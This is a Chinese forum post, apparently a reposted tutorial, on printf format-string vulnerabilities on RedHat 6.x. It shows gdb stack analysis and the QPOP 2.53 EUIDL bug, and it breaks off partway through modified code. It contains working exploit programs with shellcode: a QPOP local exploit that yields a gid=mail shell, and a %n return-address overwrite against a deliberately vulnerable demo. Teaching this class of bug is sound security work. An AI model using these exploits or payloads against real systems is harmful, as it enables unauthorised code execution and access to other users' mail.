论坛: UNIX系统 标题: 不知道有没有人看过这文章 复制本贴地址    
作者: quest [quest]    版主   登录
测试平台:RedHat 6.1, RedHat 6.2 (Intel i386) 
前言:
=====
最近一段时间,一种新的安全漏洞正开始引起人们注意,就是诸多的*printf()函数的格式
化串问题。其实这个问题应该说并不鲜见,只是一直没有人注意它,直到最近才开始进行
一些深入的讨论。格式化串的问题实际上是由于程序员编程时的疏漏所导致的,下面我们
就来看看具体是怎么回事。

关于格式化串
============
*printf()函数包括printf, fprintf, sprintf, snprintf, vprintf, vfprintf,
vsprintf, vsnprintf等函数,它们可以将数据格式化后输出。以最简单的printf()为例:
int printf(const char *format, arg1,arg2,...);
通过定制format的内容(%s,%d,%p,%x...),用户可以将数据按照某种格式输出。问题是,
*printf()函数并不能确定数据参数arg1,arg2...究竟在什么地方结束,也就是说,它不知
道参数的个数。它只会根据format中的打印格式的数目依次打印堆栈中参数format后面地址
的内容。先来看一个简单的例子:
<- begin -> fmt_test.c
#include <stdio.h>
int main(void)
{
char string[]="Hello World!";
printf("String: %s , arg2: %#p , arg3: %#p\n", string);
return 0;
}
<- end -> 
上面的例子中我们其实只提供了一个数据参数"string",但在格式串中有三个打印格式,
我们看一下运行的结果:
[warning3@redhat-6 format]$ gcc -o fmt_test fmt_test.c 
[warning3@redhat-6 format]$ ./fmt_test 
String: Hello World! , arg2: 0x6c6c6548 , arg3: 0x6f57206f
我们来看一下arg2,arg3显示的是哪里的内容:
[warning3@redhat-6 format]$ gdb ./fmt_test 
<...>
(gdb) b printf
Breakpoint 1 at 0x8048308
(gdb) r
Starting program: /home/warning3/format/./fmt_test 
Breakpoint 1 at 0x40064f5c: file printf.c, line 30.
Breakpoint 1, printf (
format=0x80484c0 "String: %s , arg2: %#p , arg3: %#p\n") at printf.c:30
30 printf.c: No such file or directory.
(gdb) x/10x $ebp
0xbffffc88: 0xbffffca8 0x08048403 0x080484c0 0xbffffc98
0xbffffc98: 0x6c6c6548 0x6f57206f 0x21646c72 0x08049500
0xbffffca8: 0xbffffcc8 0x400301eb
我们看到printf()的第一个参数地址是$ebp+8,里面的内容是0x080484c0,
(gdb) x/s 0x080484c0
0x80484c0 <_IO_stdin_used+60>: "String: %s , arg2: %#p , arg3: %#p\n"
这是我们的格式化串的地址
再来看我们要格式化输出的数据($ebp+12):
(gdb) x/s 0xbffffc98
0xbffffc98: "Hello World!"
我们看到,紧接着下来的两个字的内容就是刚才的程序中显示的结果:
$ebp+16: 0x6c6c6548 "Hell"
$ebp+20: 0x6f57206f "o Wo"
从下面的示意图上可以看得更清楚一些:
栈顶
+------------+
| ...... | 
+------------+
0xbffffc88| 0xbffffca8 | --------> 保存的EBP -- printf()
+------------+
| 0x08048403 | --------> 保存的EIP -- printf()
+------------+ format
format-> | 0x080484c0 | --------> "String: %s , arg2: %#p , arg3: %#p\n"的地址 
+------------+ arg1
| 0xbffffc98 | --------> "Hello World!"的地址 
+------------+
| 0x6c6c6548 | --------> string[] = "Hell 
+------------+
| 0x6f57206f | --------> o Wo
+------------+
| 0x21646c72 | --------> rld!"
+------------+
| 0x08049500 | --------> '\0'xxx
+------------+
0xbffffca8| 0xbffffcc8 | --------> 保存的EBP -- main()
+------------+
| 0x400301eb | --------> 保存的EIP -- main()
+------------+
| ...... | 
+------------+
栈底
我们可以看到,arg2,arg3所显示的其实是main()中数组strings中前两个字的内容。
从上面这个简单的例子我们可以看到, *printf()只根据format中打印格式(%)的数目来依次
显示堆栈中format参数后面地址的内容,每次移动一个字(4个字节).
由于我们上面的例子中出现了三个(%)号,所以它会依次打印三个地址的内容:
format+4, format + 8, format + 12.
(注意:并不是所有的%格式都是移动4个字节,例如%f就每次移动8个字节。如果要覆盖的地址
距离比较远(比如2048字节),而%的个数又有所限制的话,使用%f可以较快的到达"目的地",
只需要256个%f就可以了,%E也是如此)
正常情况下,由于format串通常是程序员自己来定制,很少出现上面那种情况,而且即使
出现了,也并不会有什么大的安全问题。然而,如果format串是由用户提供的话,那么就
非常危险了!这种情况往往是由于程序员的疏忽导致的。最常见的情况是当需要利用
vsprintf()等来构造自己的类printf()函数时,例如
mylog(LEVEL, "username = %s", username);
如果引用mylog时错误的使用了mylog(LEVEL,user_buf),而user_buf的内容又是用户可以控
制的话,那么真正的危险就来了。
1. 问题一:格式化串导致的传统缓冲区溢出
==========================================
我们以不久前发现的QPOP 2.53的例子来做一下详细的说明。

QPOP 2.53中pop_uidl.c中有个函数pop_euidl (p),用来完成EUIDL命令的功能,它错误的
使用了pop_msg()函数:
.......
pop_euidl (p)
POP * p;
{
char buffer[MAXLINELEN]; /* Read buffer */
char *nl, *bp;
MsgInfoList * mp; /* Pointer to message info list */
......
if (mp->del_flag) {
/* 注意: 这里使用pop_msg()的做法是正确的! 注意和下面那个pop_msg()的用法
做一下比较。
*/
return (pop_msg (p,POP_FAILURE,
"Message %d has been marked for deletion.",msg_id));
} else {
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
/* 下面这个sprintf()将用户输入的数据拷贝到buffer中,由于限制了%s的宽度,
因此不会发生缓冲区溢出 */ 
sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
/* 注意:这里直接将buffer作为第三个参数传递给pop_msg(),这是错误的! */
return (pop_msg (p,POP_SUCCESS, buffer));
}
我们再来看看pop_msg()函数,它在pop_msg.c中定义:
......
#define BUFSIZE 2048
......
#ifdef __STDC__
/* 我们看到,pop_msg()的第三个参数是format串*/
pop_msg(POP *p, int stat, const char *format,...) 
#else
pop_msg(va_alist)
va_dcl
#endif
{
#ifndef __STDC__
POP * p;
int stat; /* POP status indicator */
char * format; /* Format string for the message */
#endif
va_list ap;
register char * mp;
#ifdef PYRAMID
char * arg1, *arg2, *arg3, *arg4, *arg5, *arg6;
#endif
char message[BUFSIZE]; /* 定义了一个BUFSIZE=2048大小的缓冲区 */
#ifdef __STDC__
va_start(ap,format);
.......
/* Point to the message buffer */
mp = message; /* mp指向message[]起始地址 */
......
/* Append the message (formatted, if necessary) */
if (format) {
#ifdef HAVE_VPRINTF
/* 这里将变参ap按照format的格式输出到mp所指向的message[]中 
注意,这里没有检查拷贝数据的大小!
*/
vsprintf(mp,format,ap); 
.....
我们看到pop_euidl()中的buffer,本来应该出现在pop_msg()的第四个参数位置上,也就是
pop_msg()的ap所指向的内容,正确的格式应该象下面这样:
pop_msg (p,POP_SUCCESS, "%s", buffer);
这样由于buffer的长度是有限制的,pop_msg()中的vsprintf()就不会产生溢出。
但由于程序员的疏忽,错误的将buffer放在了第三个参数的位置上,其实就是pop_msg()中
format所指向的内容。而buffer中的部分内容是由用户提供的,因此如果用户输入的数
据中包含某些特别的打印格式,就可能利用vsprintf()调用溢出message缓冲区。
那么具体如何来做呢?我们知道打印格式中有个重要的部分是打印宽度,例如:%.20d,%20d
%20s,%.20s等等。以printf("%.20d",num)为例,如果整数num的长度小于20,printf()会在
它前面补零来使打印出来的长度为20,例如:
printf("%.20d\n",12345);
打印结果如下:
00000000000000012345 
这让我们想到,是否可以通过定义打印宽度来填充message缓冲区呢?
如果我们构造buffer的内容让它象这个样子:
xxx%.2000d<RET><RET>...<RET>
那么vsprintf(mp,"xxx%.2000d<RET><RET>...<RET>",ap);
就可能使<RET>覆盖pop_msg()函数的返回地址,如果我们可以在<RET>这个地址中放入shellcode
,就可能获得一个远程shell了。由于通常Qpoper没有丢弃mail组权限,因此我们可以获得一个
gid=mail的shell,可以查看其他普通用户的邮件....
为了达到我们的目标,我们需要做的事是:
<1> 发一封邮件给要攻击的用户,在X-UIDL:域中放入我们的shellcode,
在From:域中放入%.2000d<RET><RET>...<RET>
注意这个<RET>的地址需要通过调试才能确定,它应该指向我们的shellcode所在地址。
<2> 以该用户身份登陆QPOP server,执行EUIDL num命令,这里的num应该是我们刚才发送
的那封特殊邮件的序号。
如果一切顺利的话,你就可以得到一个gid mail的shell了。
下面我们提供一个简单的测试程序,它会给你一个本地的gid mail shell:
(你可能需要自己调整retloc以及POP *p的地址才能成功)
<- begin -> qpop2.53_local.c
/* QPOP 2.53 local exploit .
* code based on the sample exploit by Prizm/b0f.
* usages: 
* [test@redhat-6 /tmp]$ ./qp 0xbfffcba4 0xbfffdbf8 >/var/spool/mail/test
* [test@redhat-6 /tmp]$ nc localhost 110

* +OK QPOP (version 2.53) at localhost.localdomain starting. 
* user test
* +OK Password required for test.
* pass 123456
* +OK test has 1 message (307 octets).
* euidl 1
* <...snip...>
* id
* uid=514(test) gid=12(mail) groups=12(mail) 
* warning3@isbase.com
* y2k/5/28
*/
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh....";
int main(int argc, char *argv[])
{
int i;
unsigned long ra=0;
unsigned long p= 0xbffffdf8;
if(argc<2) {
fprintf(stderr,"Usage: %s return_addr POP(*)_addr\n", argv[0]);
exit(0);
}
sscanf(argv[1], "%x", &ra);
/* 由于pop_msg()发生溢出后还需要一个有效的POP *p指针才能正确结束,所以
* 我们必须要提供一个有效的地址
*/
sscanf(argv[2], "%x", &p);
if(!ra) 
return;
if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
fprintf(stderr,"Bad shellcode\n");
exit(0);
}
fprintf(stderr,"return address: 0x%.8x\n", ra);
fprintf(stderr,"p address: 0x%.8x\n", p);
printf("From root Sun May 28 17:29:37 2000\n");
printf("Date: Sun, 28 May 2000 17:29:37 +0800\n");
printf("From: %s", "%.500d%.500d%.500d%.398d");
for(i=0; i < 20; i++) 
printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24); /* 连续的返回地址 */
printf("%c%c%c%c", ( p& 0xff), (p & 0xff00)>>8, (p & 0xff0000)>>16, (p & 0xff000000)>>24);/* 有效的POP *p指针 */
printf ("\n");
printf ("Subject: haha\n");
printf ("Message-Id: <200005280929.RAA03577@localhost.localdomain>\n");
printf("X-UIDL: ");
for(i=0; i < sizeof(shellcode);i++)
printf("%c", shellcode[i]);
printf("\n");
printf ("\n\n");
return 0;

<- end ->
2. 问题二:格式化串导致覆盖函数返回地址
========================================
我们再来看另外一个问题:%n的问题。 %n在格式化中的意思是将显示内容的长度输出到一
个变量中去。通常的用法是这样的:
<- begin -> n_test.c
main()
{
int num=0x41414141;
printf("Before: num = %#x \n", num);
printf("%.20d%n\n", num, &num);
printf("After: num = %#x \n", num);
}
<- end -> 
[warning3@redhat-6 format]$ ./n_test 
Before: num = 0x41414141 
00000000001094795585
After: num = 0x14 
我们看到,变量num的值已经变成了0x14(20),也就是说,因为我们的程序中将变量num的地
址压入堆栈,作为printf()的第二个参数,%n会将打印总长度保存到对应参数的地址中去。
那么如果我们不将num的地址压入堆栈会发生什么事情呢?

[warning3@redhat-6 format]$ vi n_test.c
<- begin -> n_test1.c
main()
{
int num=0x41414141;
printf("Before: num = %#x \n", num);
printf("%.20d%n\n", num); /* 注意,我们没有压num的地址入栈 */
printf("After: num = %#x \n", num);
}
<- end -> 
[warning3@redhat-6 format]$ ./n_test1
Before: num = 0x41414141 
Segmentation fault (core dumped) <--- 在执行第二个printf()时就发生段错误了
[warning3@redhat-6 format]$ gdb ./n_test core
GNU gdb 4.18
<...>
#0 0x4005d897 in _IO_vfprintf (s=0x40104c60, format=0x8048474 "%.20d%n\n", 
ap=0xbffffca8) at vfprintf.c:1212
1212 vfprintf.c: No such file or directory.
(gdb) x/i $pc <--- 我们看看下一条指令是什么 
0x4005d897 <_IO_vfprintf+2455>: mov %eax,(%ecx) <--- 将%eax的值填到%ecx中
的地址去
(gdb) i r $ecx <--- 目的地址是 0x41414141
ecx 0x41414141 1094795585
(gdb) i r $eax
eax 0x14 20 <--- 填充内容是0x14(20)
(gdb) 
很明显,这就是在执行%n操作的时候发生了段错误,0x41414141肯定是不能访问的。我们
注意到num的初始值就是0x41414141,两者是不是有什么联系呢?其实从前面关于fmt_test.c
的讨论我们就应该可以看出来,printf()将堆栈中main()函数的变量num当作了%n所对应的
参数,因此会将0x14保存到0x41414141中去。聪明的读者应该可以想到,如果我们可以控制
num的内容,那么不就意味着可以修改任意地址(当然是允许写入的地址)的内容了?是的。
我们首先想到的是覆盖函数的返回地址,让我们修改一下程序:
<- begin -> n_test2.c
main()
{
int num=0xbffffcbc;
printf("Press Any Key to Continue...\n");
getchar();
printf("Before: num = %#x \n", num);
printf("%.1094795585u%n\n", num); /* 1094795585 = 0x41414141 */
printf("After: num = %#x \n", num);
}
<- end -> 

这里的num的值是main()函数的返回地址,我们的目的是将0x41414141覆盖main()函数
的返回地址,这样从main()函数返回时就会跳到0x41414141去运行,当然这会导致段错
误,这里只是举个例子而已。
至于getchar()的作用,纯粹是为了调试方便,一会你就会明白为什么要加这个东西。
细心的读者可能会发现我将%d换成了%u,这是因为如果要
打印的值为负数,printf会自动在前面加上一个'-'号,这样实际的打印结果长度就要
加上一,在这个例子中,我们就可能跳到0x41414142去了,当然这里对我们并没有什么
影响,如果我们有很多%d,例如:"%d%d%d...%d%d",我们就不能简单的根据"%d"的个数来
计算显示结果的长度,还要考虑可能的'-'号数目。为了简便起见,我们用%u来显示,它
会按无符号整数来显示结果,就不用考虑'-'号的情况。
让我们来看看运行结果,这是在一台RedHat 6.1下运行的结果:
[warning3@redhat-6 format]$ gcc -o n2 -g n_test2.c 
[warning3@redhat-6 format]$ ./n2
Press Any Key to Continue...
这时我们再开一个终端[tty2]来调试:
<在终端tty2上>
[warning3@redhat-6 format]$ gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`
GNU gdb 4.18
<......>
Attaching to program: /home/warning3/format/./n2, Pid 28428
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400bcdb4 in __libc_read () from /lib/libc.so.6
(gdb) bt
#0 0x400bcdb4 in __libc_read () from /lib/libc.so.6
#1 0x4010648c in __DTOR_END__ () from /lib/libc.so.6
#2 0x4006c7a1 in _IO_new_file_underflow (fp=0x40104ba0) at fileops.c:385
#3 0x4006e6f1 in _IO_default_uflow (fp=0x40104ba0) at genops.c:371
#4 0x4006db5c in __uflow (fp=0x40104ba0) at genops.c:328
#5 0x4006af56 in getchar () at getchar.c:37
#6 0x8048417 in main () at n_test2.c:6
(gdb) i f 6
Stack frame at 0xbffffcb8:
eip = 0x8048417 in main (n_test2.c:6); saved eip 0x400301eb
caller of frame at 0xbffffcac
source language c.
Arglist at 0xbffffcb8, args: 
Locals at 0xbffffcb8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffffcb8, eip at 0xbffffcbc ---> 这是main函数保存返回地址的地方,
也是num初始值 
(gdb) c ---> 让跟踪的程序继续运行 
Continuing.
现在我们再切换到原先的终端上,继续执行我们的程序:
[warning3@redhat-6 format]$ ./n2
Press Any Key to Continue... ---> 按一下回车 
Before: num = 0xbffffcbc 
我们再切到tty2来看发生了什么:
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault. ---> 发生了段访问错误
0x4005dff0 in _IO_vfprintf (s=0x40104c60, 
format=0x80484d2 "%.1094795585u%n\n", ap=0xbffffcb4) at vfprintf.c:1259
1259 vfprintf.c: No such file or directory.
(gdb) x/6i $pc ---> 看看我们要执行什么命令了
0x4005dff0 <_IO_vfprintf+4336>: movb $0x30,(%esi)
0x4005dff3 <_IO_vfprintf+4339>: dec %esi
0x4005dff4 <_IO_vfprintf+4340>: mov 0xfffffad8(%ebp),%eax
0x4005dffa <_IO_vfprintf+4346>: decl 0xfffffad8(%ebp)
0x4005e000 <_IO_vfprintf+4352>: test %eax,%eax
0x4005e002 <_IO_vfprintf+4354>: jg 0x4005dff0 <_IO_vfprintf+4336>
(gdb) i r $esi
esi 0xbfffdfff -1073750017
(gdb) i r $eax
eax 0x41412b43 1094789955 ----> 还有0x41412b43个'0'要填充
(gdb) x/200x $esi
0xbfffdfff: 0x30303000 0x30303030 0x30303030 0x30303030
0xbfffe00f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe01f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe02f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe03f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe04f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe05f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe06f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe07f: 0x30303030 0x30303030 0x30303030 0x30303030
0xbfffe08f: 0x30303030 0x30303030 0x30303030 0x30303030
<....>
我们看到这几句程序将0x30('0')往堆栈顶端(低地址方向)中填充,实际上就是为显示
"%.1094795585u"中指定的'0'做准备。好像堆栈太小了,不足以存放这么多'0',让我们
再来看看./n2执行时的内存映射:
^Z
[1]+ Stopped gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`
[warning3@redhat-6 format]$ cat /proc/28428/maps
08048000-08049000 r-xp 00000000 03:06 168475 /home/warning3/format/n2
08049000-0804a000 rw-p 00000000 03:06 168475 /home/warning3/format/n2
40000000-40012000 r-xp 00000000 03:06 144892 /lib/ld-2.1.2.so
40012000-40013000 rw-p 00012000 03:06 144892 /lib/ld-2.1.2.so
40013000-40015000 rw-p 00000000 00:00 0
40018000-40103000 r-xp 00000000 03:06 144899 /lib/libc-2.1.2.so
40103000-40107000 rw-p 000ea000 03:06 144899 /lib/libc-2.1.2.so
40107000-4010b000 rw-p 00000000 00:00 0
bfffe000-c0000000 rwxp fffff000 00:00 0
从上面我们可以看到可写的堆栈段是从bfffe000-c0000000之间的地址空间,而前面的语句
要将0x30('0')写入0xbfffdfff,这个地址已经不在堆栈段中,因此会发生段访问错误。程
序也就执行不下去了。因此,在RedHat 6.1中,我们不能简单的直接用%.RET%n的方式来覆
盖函数返回地址,因为通常RET都是在堆栈段中,即通常大于0xbfff0000,这是个相当大的数
值,RedHat 6.1的glibc中的vfprintf()不能正常显示这么多的'0',而RedHat 6.2中的glibc
所带的vfprintf()则可以,也就是说,上面的程序在RedHat 6.2下,这条语句:
printf("%.1094795585u%n\n", num);
可以正常结束,然后main()的返回地址被覆盖成0x41414141。
但是我并不建议读者直接在RedHat 6.2下运行这个程序,因为它会打印非常多的0,你需要
有足够的耐心才能等待它结束. :-)
<1> 攻击方法一:直接覆盖返回地址
=================================
我们看另外一个简单的问题程序,我们会先在RedHat 6.2上进行攻击测试:

<- begin -> vul.c
/* A simple vulnerable example for format bug.
* warning3@nsfocus.com
*/
#include <stdarg.h>
#include <unistd.h>
#include <syslog.h>
#define BUFSIZE 1024
int log(int level, char *fmt,...)
{
char buf[BUFSIZE];
va_list ap;
va_start(ap, fmt);
vsnprintf(buf, sizeof(buf)-1, fmt, ap); 
buf[BUFSIZE-1] = '\0';
syslog(level, "[hmm]: %s", buf); 
va_end(ap); 
}

int main(int argc, char **argv)
{
char buf[BUFSIZE];
int num,i;
num = argc ;
if(argc > 1) {
for ( i = 1 ; i < num ; i ++ ) {
snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
buf[BUFSIZE-1] = '\0';
log(LOG_ALERT, buf); // 这里有问题
printf("argv[%d] = %s \n", i, argv[i]);
}

}
<- end -> 
这个有问题的程序在调用子函数log()的时候,错误的将buf放到了*fmt所对应的位置上,
而buf的内容中的一部分是用户输入的,而且没有做任何检查。虽然程序其余地方都比较
小心地使用了vsnprintf(),snprintf(),不会发生通常的缓冲区溢出问题。但这个格式化
串的错误也将是致命的。
我们先来分析一下如何进行攻击。我们看到main()函数会将命令行参数拷贝到buf中去。
前面还加上了"argv[%d] = "字符串,在参数个数小于10的情况下,这个字符串的长度为
10字节。我们考虑构造这样的字符串作为命令行参数:
"align|RET|%d%d...%.SH_RETd|%n"
"align": 用来调整buf开头的数据长度为4的整数
"RET": 是main()或者log()函数的返回地址位置,我们会将shellcode的地址放到RET中去,
"SH_RET": 我们存放shellcode的地址
"%d...%d": 这些%d用来使%n所对应的地址刚好是储存RET的地址 
我们来看看在第一次调用log()时,堆栈中的情况
保存ebp 保存eip 参数1 参数2 变量i 变量num 缓冲区buf
-----------------------------------------------------------------------
| EBP | EIP |LOG_ALERT| &buf | i | num |"argv[1] = "| argv[1] | 
-----------------------------------------------------------------------
^ ^ 
|__fmt |__ap
低址 ---------------------->----------------------------------> 高址

在执行完 va_start(ap, fmt) 后,变参指针ap指向fmt的下一个地址,也就是main()
函数局部变量i的地址,如果我们提供的argv[1]的是这样的字符串:
"xxabcd%d%d%d%d%d%p"
那么堆栈中的情况就是这样:

保存ebp 保存eip 参数1 参数2 变量i 变量num 缓冲区buf
--------------------------------------------------------------------------------
| EBP | EIP |LOG_ALERT| &buf | i | num |"argv[1] = xx"|"abcd"|%d%d%d%d%d%p|
--------------------------------------------------------------------------------
^ ^ 4B 4B 12B ^ RET | 
|__fmt |__ap |__________________|
低址 ---------------------->----------------------------------> 高址
因为"argv[1] = "长是10字节,我们用两个字节"xx"来使其变成4的整数倍:12字节。因此,
从变量i的地址到"abcd"之间共有4+4+12=20字节,20/4=5,因此我们需要用5个%d来对应这5
个地址,这样最后一个格式化串%p就对应了"abcd"的地址,因此打印出来应该是:
"0x64636261"
[root@rh62 format]# ./vul xxabcd%d%d%d%d%d%p
argv[1] = xxabcd%d%d%d%d%d%p 
[root@rh62 format]# tail -1 /var/log/messages 
Jul 12 04:13:08 rh62 vul: [hmm]: argv[1] = xxabcd2119864909775429783952021138493
0x64636261
注意最后的0x64636261,这说明我们前面的分析是正确的。如果我们将%p换成%n,vsnprintf
()就会将打印长度存放到0x64636261中去,当然这肯定会导致段错误
[root@rh62 format]# gdb ./vul
GNU gdb 19991004
<...>
(gdb) r xxabcd%d%d%d%d%d%n
Starting program: /root/./vul xxabcd%d%d%d%d%d%n

Program received signal SIGSEGV, Segmentation fault.
0x400622b7 in _IO_vfprintf (s=0xbffff224, 
format=0xbffff738 "argv[1] = xxabcd%d%d%d%d%d%n", ap=0xbffff748)
at vfprintf.c:1212
1212 vfprintf.c: No such file or directory.
(gdb) x/i $pc
0x400622b7 <_IO_vfprintf+2455>: mov %eax,(%ecx)
(gdb) i reg $eax $ecx
eax 0x2f 47
ecx 0x64636261 1684234849
(gdb) 
我们看到,eax中保存的是打印的总长度:47, vsnprintf()在将这个值保存到$ecx中去时
发生了段错误。如果我们将RET换成保存main函数返回地址的地址,就会将这个长度存放
到那里去,如果这个长度的值刚好等于我们存放shellcode的地址,那么当main()返回时
就会跳到我们的shellcode去运行了。



地主 发表时间: 12/12 11:16

回复: quest [quest]   版主   登录
测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)
(继续)
那么让我们来写一个简单的测试程序来看一下:
<- begin -> exp.c
#include <stdlib.h> 
#include <unistd.h> 
#define DEFAULT_OFFSET 0 
#define DEFAULT_ALIGNMENT 2 // 我们使用两个字节来进行"对齐"
#define DEFAULT_RETLOC 0xbffff6dc // 存放main()返回地址的地址 
#define DEFAULT_BUFFER_SIZE 512 
#define DEFAULT_EGG_SIZE 2048 
#define NOP 0x90 
char shellcode[] = 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

unsigned long get_esp(void) { 
__asm__("movl %esp,%eax"); 

main(int argc, char *argv[]) { 
char *buff, *ptr, *egg; 
char *env[2];
long shell_addr,retloc=DEFAULT_RETLOC; 
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT; 
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE; 
int fmt_num=4, i;
if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址 
if (argc > 2) offset = atoi(argv[2]); 
if (argc > 3) align = atoi(argv[3]); 
if (argc > 4) bsize = atoi(argv[4]); 
if (argc > 5) eggsize = atoi(argv[5]); 
printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]); 
if (!(buff = malloc(bsize))) { 
printf("Can't allocate memory.\n"); 
exit(0); 

if (!(egg = malloc(eggsize))) { 
printf("Can't allocate memory.\n"); 
exit(0); 

printf("Using Ret location address: 0x%x\n", retloc); 
shell_addr = get_esp() + offset; //计算我们shellcode所处的地址 
printf("Using Shellcode address: 0x%x\n", shell_addr);
ptr = buff; 
memset(buff,'A',4);
i = align;
buff[i] = retloc & 0x000000ff; // 将retloc放到buff里 
buff[i+1] = (retloc & 0x0000ff00) >> 8; 
buff[i+2] = (retloc & 0x00ff0000) >> 16; 
buff[i+3] = (retloc & 0xff000000) >> 24; 
ptr = buff + i + 4;
for(i = 0 ; i < 4 ; i++ ) //存放%.10u%.10u%.10u%.10u
{
memcpy(ptr, "%.10u", 5);
ptr += 5;
}
/* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr,
* 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度:12+4
* 将这个长度作为第5个%u的宽度值 
*/ 
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16); 
ptr = egg; 
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) 
*(ptr++) = NOP; 
for (i = 0; i < strlen(shellcode); i++) 
*(ptr++) = shellcode[i]; 
buff[bsize - 1] = '\0'; 
egg[eggsize - 1] = '\0'; 
memcpy(egg, "EGG=", 4); 
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul","vul",buff,NULL,env); 
} /* end of main */ 
<- end -> 
注意:在我们的程序里,我们实际使用的模式是:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
选用%.10u的原因是:如果用"%.nu"来显示一个数值的时候,若数值长度大于n,则仍然会
显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显
示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也
就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是
RETloc,也就是main()的返回地址了。这也很简单:
[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize> 
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>
#0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4, 
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", 
ap=0xbffff2e8) at vfprintf.c:1212
1212 vfprintf.c: No such file or directory.
(gdb) bt 
#0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4, 
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", 
ap=0xbffff2e8) at vfprintf.c:1212
#1 0x40070716 in _IO_vsnprintf (
string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023, 
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", 
args=0xbffff2d0) at vsnprintf.c:129
#2 0x80484de in log (level=1, 
fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
at vul.c:13
#3 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3 -----> 查看main()的栈帧
Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff6d8, eip at 0xbffff6dc ----> OK,存放eip的地址是0xbffff6dc
(gdb) 
好的,既然现在我们已经知道了RETloc的地址,就让我们运行一下我们的攻击程序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize> 
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08
argv[1] = AA荟�?.10u%.10u%.10u%.10u%.3221224144u%n 
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
<....>
#0 0x42 in ?? ()
(gdb) bt
#0 0x42 in ?? ()
(gdb) x/x 0xbffff6dc
0xbffff6dc: 0x00000042
(gdb) 
很可惜,并没有看到令人激动的#号提示符。看起来0xbffffb08的长度不能被正确的打印出来,
根据测试,至少大于0x90000000的长度都不能正确显示,具体原因还有待研究。感兴趣的读者
可以自行分析一下。为了得到一个可以工作的版本,我们改动一下vul.c和exp.c:
<- begin -> vul1.c
#include <stdarg.h>
#include <unistd.h>
#include <syslog.h>
#define BUFSIZE 1024
char egg[BUFSIZE];
int log(int level, char *fmt,...)
{
char buf[BUFSIZE];
va_list ap;
va_start(ap, fmt);
vsnprintf(buf, sizeof(buf)-1, fmt, ap); 
buf[BUFSIZE-1] = '\0';
syslog(level, "[hmm]: %s", buf); 
va_end(ap); 
}

int main(int argc, char **argv)
{
char buf[BUFSIZE];
int i,num;
if(getenv("EGG")) { 
/* 我们将环境EGG的内容复制到一个全局buffer里,
* 而这个buffer的起始地址是0x80xxxxx,它可以被正确显示 
*/
